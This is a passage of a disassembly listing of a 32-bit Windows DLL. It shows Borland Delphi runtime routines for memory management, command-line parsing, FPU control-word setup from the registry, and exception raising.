; ---------------------------------------------------------------------------


loc_1000209F:				; CODE XREF: sub_10001FEC+A2j
		mov	eax, esi
		sub	eax, edx
		cmp	edx, [eax+8]
		jz	short loc_100020B7
		mov	ds:dword_100055AC, 0Ah
		jmp	loc_10002155
; ---------------------------------------------------------------------------


loc_100020B7:				; CODE XREF: sub_10001FEC+BAj
		add	ebx, edx
		mov	esi, eax
		call	sub_10001914


loc_100020C0:				; CODE XREF: sub_10001FEC+8Dj
		and	ebx, 7FFFFFFCh
		mov	eax, esi
		add	eax, ebx
		mov	edi, eax
		cmp	edi, ds:dword_10005604
		jnz	short loc_10002100
		sub	ds:dword_10005604, ebx
		add	ds:dword_10005600, ebx
		cmp	ds:dword_10005600, 3C00h
		jle	short loc_100020F1
		call	sub_10001C04


loc_100020F1:				; CODE XREF: sub_10001FEC+FEj
		xor	eax, eax
		mov	[ebp+var_4], eax
		call	sub_10002B18
		jmp	loc_10002185
; ---------------------------------------------------------------------------


loc_10002100:				; CODE XREF: sub_10001FEC+E6j
		mov	edx, [eax]
		test	dl, 2
		jz	short loc_10002123
		and	edx, 7FFFFFFCh
		cmp	edx, 4
		jge	short loc_1000211E
		mov	ds:dword_100055AC, 0Bh
		jmp	short loc_10002155
; ---------------------------------------------------------------------------


loc_1000211E:				; CODE XREF: sub_10001FEC+124j
		or	dword ptr [eax], 1
		jmp	short loc_1000214C
; ---------------------------------------------------------------------------


loc_10002123:				; CODE XREF: sub_10001FEC+119j
		mov	eax, edi
		cmp	dword ptr [eax+4], 0
		jz	short loc_10002136
		cmp	dword ptr [eax], 0
		jz	short loc_10002136
		cmp	dword ptr [eax+8], 0Ch
		jge	short loc_10002142


loc_10002136:				; CODE XREF: sub_10001FEC+13Dj
					; sub_10001FEC+142j
		mov	ds:dword_100055AC, 0Bh
		jmp	short loc_10002155
; ---------------------------------------------------------------------------


loc_10002142:				; CODE XREF: sub_10001FEC+148j
		mov	edx, [eax+8]
		add	ebx, edx
		call	sub_10001914


loc_1000214C:				; CODE XREF: sub_10001FEC+135j
		mov	edx, ebx
		mov	eax, esi
		call	sub_10001B7C


loc_10002155:				; CODE XREF: sub_10001FEC+6Fj
					; sub_10001FEC+AEj ...
		mov	eax, ds:dword_100055AC
		mov	[ebp+var_4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10002185


loc_1000216A:				; CODE XREF: sub_10001FEC+197j
		cmp	ds:byte_10005035, 0
		jz	short locret_1000217D
		push	offset dword_100055B0
		call	sub_100010D4	; RtlLeaveCriticalSection

locret_1000217D:			; CODE XREF: sub_10001FEC+185j
		retn
; ---------------------------------------------------------------------------


loc_1000217E:				; DATA XREF: sub_10001FEC+3Bo
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_1000216A
; ---------------------------------------------------------------------------


loc_10002185:				; CODE XREF: sub_10001FEC+33j
					; sub_10001FEC+10Fj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_10001FEC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10002190	proc near		; CODE XREF: sub_10002360+4Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		add	esi, 7
		and	esi, 0FFFFFFFCh
		cmp	esi, 0Ch
		jge	short loc_100021A9
		mov	esi, 0Ch


loc_100021A9:				; CODE XREF: sub_10002190+12j
		mov	ebp, eax
		sub	ebp, 4
		mov	edi, [ebp+0]
		and	edi, 7FFFFFFCh
		mov	eax, ebp
		add	eax, edi
		mov	ebx, eax
		cmp	edi, esi
		jl	loc_10002248
		mov	edx, edi
		sub	edx, esi
		mov	[esp+18h+var_18], edx
		cmp	ebx, ds:dword_10005604
		jnz	short loc_1000220C
		mov	eax, [esp+18h+var_18]
		sub	ds:dword_10005604, eax
		mov	eax, [esp+18h+var_18]
		add	ds:dword_10005600, eax
		cmp	ds:dword_10005600, 0Ch
		jge	loc_1000233F
		mov	eax, [esp+18h+var_18]
		add	ds:dword_10005604, eax
		mov	eax, [esp+18h+var_18]
		sub	ds:dword_10005600, eax
		mov	esi, edi
		jmp	loc_1000233F
; ---------------------------------------------------------------------------


loc_1000220C:				; CODE XREF: sub_10002190+42j
		mov	ebx, eax
		test	byte ptr [ebx],	2
		jnz	short loc_10002220
		mov	eax, ebx
		mov	edx, [eax+8]
		add	[esp+18h+var_18], edx
		call	sub_10001914


loc_10002220:				; CODE XREF: sub_10002190+81j
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_10002241
		mov	ebx, ebp
		add	ebx, esi
		mov	eax, [esp+18h+var_18]
		or	eax, 2
		mov	[ebx], eax
		mov	eax, ebx
		add	eax, 4
		call	sub_100019D8
		jmp	loc_1000233F
; ---------------------------------------------------------------------------


loc_10002241:				; CODE XREF: sub_10002190+94j
		mov	esi, edi
		jmp	loc_1000233F
; ---------------------------------------------------------------------------


loc_10002248:				; CODE XREF: sub_10002190+2Fj
					; sub_10002190+1A6j
		mov	eax, esi
		sub	eax, edi
		mov	[esp+18h+var_14], eax
		cmp	ebx, ds:dword_10005604
		jnz	short loc_100022BF
		mov	eax, ds:dword_10005600
		cmp	eax, [esp+18h+var_14]
		jl	short loc_100022B6
		mov	eax, [esp+18h+var_14]
		sub	ds:dword_10005600, eax
		mov	eax, [esp+18h+var_14]
		add	ds:dword_10005604, eax
		cmp	ds:dword_10005600, 0Ch
		jge	short loc_10002298
		mov	eax, ds:dword_10005600
		add	ds:dword_10005604, eax
		add	esi, ds:dword_10005600
		xor	eax, eax
		mov	ds:dword_10005600, eax


loc_10002298:				; CODE XREF: sub_10002190+EEj
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_100055A0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1
		jmp	loc_10002358
; ---------------------------------------------------------------------------


loc_100022B6:				; CODE XREF: sub_10002190+D1j
		call	sub_10001C04
		mov	ebx, ebp
		add	ebx, edi


loc_100022BF:				; CODE XREF: sub_10002190+C6j
		test	byte ptr [ebx],	2
		jnz	short loc_10002311
		mov	edx, ebx
		mov	eax, edx
		mov	ecx, [eax+8]
		mov	[esp+18h+var_18], ecx
		mov	ecx, [esp+18h+var_18]
		cmp	ecx, [esp+18h+var_14]
		jge	short loc_100022E5
		add	edx, [esp+18h+var_18]
		mov	ebx, edx
		mov	eax, [esp+18h+var_18]
		sub	[esp+18h+var_14], eax
		jmp	short loc_10002311
; ---------------------------------------------------------------------------


loc_100022E5:				; CODE XREF: sub_10002190+145j
		call	sub_10001914
		mov	eax, [esp+18h+var_14]
		sub	[esp+18h+var_18], eax
		cmp	[esp+18h+var_18], 0Ch
		jl	short loc_10002305
		mov	eax, ebp
		add	eax, esi
		mov	edx, [esp+18h+var_18]
		call	sub_10001B7C
		jmp	short loc_1000233F
; ---------------------------------------------------------------------------


loc_10002305:				; CODE XREF: sub_10002190+165j
		add	esi, [esp+18h+var_18]
		mov	ebx, ebp
		add	ebx, esi
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_1000233F
; ---------------------------------------------------------------------------


loc_10002311:				; CODE XREF: sub_10002190+132j
					; sub_10002190+153j
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_1000233B
		and	eax, 7FFFFFFCh
		add	eax, ebx
		mov	ebx, eax
		mov	edx, [esp+18h+var_14]
		mov	eax, ebx
		call	sub_10001D08
		test	al, al
		jz	short loc_1000233B
		mov	ebx, ebp
		add	ebx, edi
		jmp	loc_10002248
; ---------------------------------------------------------------------------


loc_1000233B:				; CODE XREF: sub_10002190+188j
					; sub_10002190+1A0j
		xor	eax, eax
		jmp	short loc_10002358
; ---------------------------------------------------------------------------


loc_1000233F:				; CODE XREF: sub_10002190+5Dj
					; sub_10002190+77j ...
		mov	eax, esi
		sub	eax, edi
		add	ds:dword_100055A0, eax
		mov	eax, [ebp+0]
		and	eax, 80000003h
		or	esi, eax
		mov	[ebp+0], esi
		mov	al, 1


loc_10002358:				; CODE XREF: sub_10002190+121j
					; sub_10002190+1ADj
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10002190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002360	proc near		; CODE XREF: sub_10002464+Dp
					; DATA XREF: DATA:off_1000402Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		cmp	ds:byte_100055A8, 0
		jnz	short loc_10002387
		call	sub_10001770
		test	al, al
		jnz	short loc_10002387
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_10002418
; ---------------------------------------------------------------------------


loc_10002387:				; CODE XREF: sub_10002360+12j
					; sub_10002360+1Bj
		xor	edx, edx
		push	ebp
		push	offset loc_10002411
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_10005035, 0
		jz	short loc_100023A8
		push	offset dword_100055B0
		call	sub_100010CC	; RtlEnterCriticalSection


loc_100023A8:				; CODE XREF: sub_10002360+3Cj
		mov	edx, esi
		mov	eax, ebx
		call	sub_10002190
		test	al, al
		jz	short loc_100023BA
		mov	[ebp+var_4], ebx
		jmp	short loc_100023F0
; ---------------------------------------------------------------------------


loc_100023BA:				; CODE XREF: sub_10002360+53j
		mov	eax, esi
		call	sub_10001E5C
		mov	edi, eax
		mov	eax, ebx
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		cmp	esi, eax
		jge	short loc_100023D8
		mov	eax, esi


loc_100023D8:				; CODE XREF: sub_10002360+74j
		test	edi, edi
		jz	short loc_100023ED
		mov	edx, edi
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_10002528
		mov	eax, ebx
		call	sub_10001FEC


loc_100023ED:				; CODE XREF: sub_10002360+7Aj
		mov	[ebp+var_4], edi


loc_100023F0:				; CODE XREF: sub_10002360+58j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10002418


loc_100023FD:				; CODE XREF: sub_10002360+B6j
		cmp	ds:byte_10005035, 0
		jz	short locret_10002410
		push	offset dword_100055B0
		call	sub_100010D4	; RtlLeaveCriticalSection

locret_10002410:			; CODE XREF: sub_10002360+A4j
		retn
; ---------------------------------------------------------------------------


loc_10002411:				; DATA XREF: sub_10002360+2Ao
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_100023FD
; ---------------------------------------------------------------------------


loc_10002418:				; CODE XREF: sub_10002360+22j
					; DATA XREF: sub_10002360+98o
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_10002360	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002424	proc near		; CODE XREF: sub_10003058+Cp
					; sub_10003710+3Fp
		push	ebx
		test	eax, eax
		jle	short loc_1000243E
		call	ds:off_10004024
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_10002440
		mov	al, 1
		call	sub_1000250C
; ---------------------------------------------------------------------------
		jmp	short loc_10002440
; ---------------------------------------------------------------------------


loc_1000243E:				; CODE XREF: sub_10002424+3j
		xor	ebx, ebx


loc_10002440:				; CODE XREF: sub_10002424+Fj
					; sub_10002424+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_10002424	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002444	proc near		; CODE XREF: sub_10002FC0+1Cp
					; sub_10002FE4+21p ...
		push	ebx
		test	eax, eax
		jz	short loc_1000245E
		call	ds:off_10004028
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10002460
		mov	al, 2
		call	sub_1000250C
; ---------------------------------------------------------------------------
		jmp	short loc_10002460
; ---------------------------------------------------------------------------


loc_1000245E:				; CODE XREF: sub_10002444+3j
		xor	ebx, ebx


loc_10002460:				; CODE XREF: sub_10002444+Fj
					; sub_10002444+18j
		mov	eax, ebx
		pop	ebx
		retn
sub_10002444	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002464	proc near		; CODE XREF: sub_10003124+22p
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_1000249C
		test	edx, edx
		jz	short loc_10002486
		push	eax
		mov	eax, ecx
		call	ds:off_1000402C
		pop	ecx
		or	eax, eax
		jz	short loc_10002495
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_1000247F:				; CODE XREF: sub_10002464+2Ej
		mov	al, 2
		jmp	sub_1000250C
; ---------------------------------------------------------------------------


loc_10002486:				; CODE XREF: sub_10002464+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_10004028
		or	eax, eax
		jnz	short loc_1000247F
		retn
; ---------------------------------------------------------------------------


loc_10002495:				; CODE XREF: sub_10002464+16j
					; sub_10002464+48j
		mov	al, 1
		jmp	sub_1000250C
; ---------------------------------------------------------------------------


loc_1000249C:				; CODE XREF: sub_10002464+4j
		test	edx, edx
		jz	short locret_100024B0
		push	eax
		mov	eax, edx
		call	ds:off_10004024
		pop	ecx
		or	eax, eax
		jz	short loc_10002495
		mov	[ecx], eax

locret_100024B0:			; CODE XREF: sub_10002464+3Aj
		retn
sub_10002464	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_100024B4	proc near		; CODE XREF: sub_100024C0+42p
					; CODE:10002BC7p
		mov	ds:dword_10004004, edx
		call	sub_10002FA8
sub_100024B4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_100024C0	proc near		; CODE XREF: sub_1000250C+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_10005008, 0
		jz	short loc_100024DC
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_10005008


loc_100024DC:				; CODE XREF: sub_100024C0+10j
		test	bl, bl
		jnz	short loc_100024ED
		call	sub_10003404
		mov	ebx, [eax+4]
		jmp	short loc_100024FC
; ---------------------------------------------------------------------------


loc_100024ED:				; CODE XREF: sub_100024C0+1Ej
		cmp	bl, 18h
		ja	short loc_100024FC
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_10004030[eax]


loc_100024FC:				; CODE XREF: sub_100024C0+2Bj
					; sub_100024C0+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_100024B4
sub_100024C0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_1000250C	proc near		; CODE XREF: sub_10002424+13p
					; sub_10002444+13p ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_100024C0
sub_1000250C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10002518	proc near		; CODE XREF: sub_100026B4+38p
					; sub_100026B4+4Cp
		push	ebx
		mov	ebx, eax
		call	sub_10003404
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_10002518	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002528	proc near		; CODE XREF: sub_10002360+81p
					; sub_10003014+1Bp ...
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		cmp	edi, esi
		ja	short loc_10002547
		jz	short loc_10002565
		sar	ecx, 2
		js	short loc_10002565
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_10002547:				; CODE XREF: sub_10002528+Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		sar	ecx, 2
		js	short loc_10002565
		std
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		add	esi, 3
		add	edi, 3
		rep movsb
		cld


loc_10002565:				; CODE XREF: sub_10002528+Cj
					; sub_10002528+11j ...
		pop	edi
		pop	esi
		retn
sub_10002528	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002568	proc near		; CODE XREF: sub_10002654+41p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_1000257A
; ---------------------------------------------------------------------------


loc_10002572:				; CODE XREF: sub_10002568+1Aj
		push	ebx
		call	sub_10001028	; CharNextA
		mov	ebx, eax


loc_1000257A:				; CODE XREF: sub_10002568+8j
					; sub_10002568+2Aj
		mov	al, [ebx]
		test	al, al
		jz	short loc_10002584
		cmp	al, 20h
		jbe	short loc_10002572


loc_10002584:				; CODE XREF: sub_10002568+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_10002594
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_10002594
		add	ebx, 2
		jmp	short loc_1000257A
; ---------------------------------------------------------------------------


loc_10002594:				; CODE XREF: sub_10002568+1Fj
					; sub_10002568+25j
		xor	ebp, ebp
		mov	edi, ebx
		jmp	short loc_100025DD
; ---------------------------------------------------------------------------


loc_1000259A:				; CODE XREF: sub_10002568+79j
		cmp	al, 22h
		jnz	short loc_100025CF
		push	ebx
		call	sub_10001028	; CharNextA
		mov	ebx, eax
		jmp	short loc_100025B6
; ---------------------------------------------------------------------------


loc_100025A8:				; CODE XREF: sub_10002568+56j
		push	ebx
		call	sub_10001028	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_100025B6:				; CODE XREF: sub_10002568+3Ej
		mov	al, [ebx]
		test	al, al
		jz	short loc_100025C0
		cmp	al, 22h
		jnz	short loc_100025A8


loc_100025C0:				; CODE XREF: sub_10002568+52j
		cmp	byte ptr [ebx],	0
		jz	short loc_100025DD
		push	ebx
		call	sub_10001028	; CharNextA
		mov	ebx, eax
		jmp	short loc_100025DD
; ---------------------------------------------------------------------------


loc_100025CF:				; CODE XREF: sub_10002568+34j
		push	ebx
		call	sub_10001028	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_100025DD:				; CODE XREF: sub_10002568+30j
					; sub_10002568+5Bj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_1000259A
		mov	eax, esi
		mov	edx, ebp
		call	sub_10003124
		mov	ebx, edi
		mov	edi, [esi]
		xor	esi, esi
		jmp	short loc_10002645
; ---------------------------------------------------------------------------


loc_100025F4:				; CODE XREF: sub_10002568+E1j
		cmp	al, 22h
		jnz	short loc_10002630
		push	ebx
		call	sub_10001028	; CharNextA
		mov	ebx, eax
		jmp	short loc_10002617
; ---------------------------------------------------------------------------


loc_10002602:				; CODE XREF: sub_10002568+B7j
		push	ebx
		call	sub_10001028	; CharNextA
		cmp	eax, ebx
		jbe	short loc_10002617


loc_1000260C:				; CODE XREF: sub_10002568+ADj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_1000260C


loc_10002617:				; CODE XREF: sub_10002568+98j
					; sub_10002568+A2j
		mov	al, [ebx]
		test	al, al
		jz	short loc_10002621
		cmp	al, 22h
		jnz	short loc_10002602


loc_10002621:				; CODE XREF: sub_10002568+B3j
		cmp	byte ptr [ebx],	0
		jz	short loc_10002645
		push	ebx
		call	sub_10001028	; CharNextA
		mov	ebx, eax
		jmp	short loc_10002645
; ---------------------------------------------------------------------------


loc_10002630:				; CODE XREF: sub_10002568+8Ej
		push	ebx
		call	sub_10001028	; CharNextA
		cmp	eax, ebx
		jbe	short loc_10002645


loc_1000263A:				; CODE XREF: sub_10002568+DBj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_1000263A


loc_10002645:				; CODE XREF: sub_10002568+8Aj
					; sub_10002568+BCj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_100025F4
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10002568	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002654	proc near		; CODE XREF: sub_10003710+17Ap

var_114		= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_10002FC0
		test	esi, esi
		jnz	short loc_1000268A
		push	105h
		lea	eax, [esp+118h+var_114]
		push	eax
		push	0
		call	sub_10001050	; GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_10003084
		jmp	short loc_100026A8
; ---------------------------------------------------------------------------


loc_1000268A:				; CODE XREF: sub_10002654+16j
		call	sub_10001048	; GetCommandLineA
		mov	edi, eax


loc_10002691:				; CODE XREF: sub_10002654+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_10002568
		mov	edi, eax
		test	esi, esi
		jz	short loc_100026A8
		cmp	dword ptr [ebx], 0
		jz	short loc_100026A8
		dec	esi
		jmp	short loc_10002691
; ---------------------------------------------------------------------------


loc_100026A8:				; CODE XREF: sub_10002654+34j
					; sub_10002654+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10002654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100026B4	proc near		; CODE XREF: sub_100032C4+1Ep
					; sub_100032C4+28p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_100026F3
		cmp	ax, 0D7B3h
		ja	short loc_100026F3
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_100026DB
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_100026DB:				; CODE XREF: sub_100026B4+1Ej
		test	esi, esi
		jnz	short loc_100026E6
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_100026E6:				; CODE XREF: sub_100026B4+29j
		test	esi, esi
		jz	short loc_10002705
		mov	eax, esi
		call	sub_10002518
		jmp	short loc_10002705
; ---------------------------------------------------------------------------


loc_100026F3:				; CODE XREF: sub_100026B4+Ej
					; sub_100026B4+14j
		cmp	ebx, offset dword_10005038
		jz	short loc_10002705
		mov	eax, 67h
		call	sub_10002518


loc_10002705:				; CODE XREF: sub_100026B4+34j
					; sub_100026B4+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_100026B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000270C	proc near		; CODE XREF: sub_1000356C+2p
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_10002729
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_10002729:				; CODE XREF: sub_1000270C+12j
		pop	edi
		retn
sub_1000270C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_1000272C	proc near		; CODE XREF: sub_10002734+5p
					; sub_10002734+11p
		jmp	ds:dword_100060C8
sub_1000272C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002734	proc near		; CODE XREF: sub_10003318+21p
		push	ebx
		xor	ebx, ebx
		push	0
		call	sub_1000272C	; GetKeyboardType
		cmp	eax, 7
		jnz	short loc_1000275F
		push	1
		call	sub_1000272C	; GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_1000275D
		cmp	eax, 400h
		jnz	short loc_1000275F


loc_1000275D:				; CODE XREF: sub_10002734+20j
		mov	bl, 1


loc_1000275F:				; CODE XREF: sub_10002734+Dj
					; sub_10002734+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_10002734	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002764	proc near		; CODE XREF: sub_10003318+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, ds:word_1000400C
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_10001068	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_100027DC
		xor	eax, eax
		push	ebp
		push	offset loc_100027D5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_10001070	; RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_100027DC


loc_100027CB:				; CODE XREF: sub_10002764+76j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_10001060	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_100027D5:				; DATA XREF: sub_10002764+2Eo
		jmp	loc_10002A5C
; ---------------------------------------------------------------------------
		jmp	short loc_100027CB
; ---------------------------------------------------------------------------


loc_100027DC:				; CODE XREF: sub_10002764+29j
					; DATA XREF: sub_10002764+62o
		mov	ax, ds:word_1000400C
		and	ax, 0FFC0h
		mov	dx, word ptr [ebp+var_8]
		and	dx, 3Fh
		or	ax, dx
		mov	ds:word_1000400C, ax
		mov	esp, ebp
		pop	ebp
		retn
sub_10002764	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_10002764+18o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_10002764+4Co
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002828	proc near		; CODE XREF: sub_10002CB8-368p
					; CODE:10002BFEp ...
		fninit
		wait
		fldcw	ds:word_1000400C
		retn
sub_10002828	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002834	proc near		; CODE XREF: CODE:10002A4Fj
					; sub_10002A94+30p ...
		test	eax, eax
		jz	short locret_1000283F
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_1000283F:			; CODE XREF: sub_10002834+2j
		retn
sub_10002834	endp


; =============== S U B	R O U T	I N E =======================================



sub_10002840	proc near		; CODE XREF: sub_10002A94+35p
		cmp	ds:byte_10004010, 1
		jbe	short locret_1000285A
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_10005010

locret_1000285A:			; CODE XREF: sub_10002840+7j
		retn
sub_10002840	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000285C	proc near		; CODE XREF: sub_10002CB8-33Bp
		cmp	ds:byte_10004010, 0
		jz	short locret_1000287C
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_10005010
		add	esp, 8
		pop	eax

locret_1000287C:			; CODE XREF: sub_1000285C+7j
		retn
sub_1000285C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_10002898


loc_10002880:				; CODE XREF: sub_10002898+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_10005010
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_10002898
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10002898	proc near		; CODE XREF: sub_10002CB8-28Bp

; FUNCTION CHUNK AT 10002880 SIZE 00000015 BYTES

		cmp	ds:byte_10004010, 1
		jbe	short locret_100028A8
		push	eax
		push	ebx
		jmp	loc_10002880
; ---------------------------------------------------------------------------

locret_100028A8:			; CODE XREF: sub_10002898+7j
		retn
sub_10002898	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100028AC	proc near		; CODE XREF: sub_100028CC+Cp
		test	ecx, ecx
		jz	short locret_100028C9
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_100028C4
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_100028C9
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_100028C7
; ---------------------------------------------------------------------------


loc_100028C4:				; CODE XREF: sub_100028AC+Aj
		add	ecx, 5


loc_100028C7:				; CODE XREF: sub_100028AC+16j
		add	ecx, eax

locret_100028C9:			; CODE XREF: sub_100028AC+2j
					; sub_100028AC+Fj
		retn
sub_100028AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100028CC	proc near		; CODE XREF: sub_10001770+1311p
		cmp	ds:byte_10004010, 1
		jbe	short locret_100028F2
		push	eax
		push	edx
		push	ecx
		call	sub_100028AC
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_10005010
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

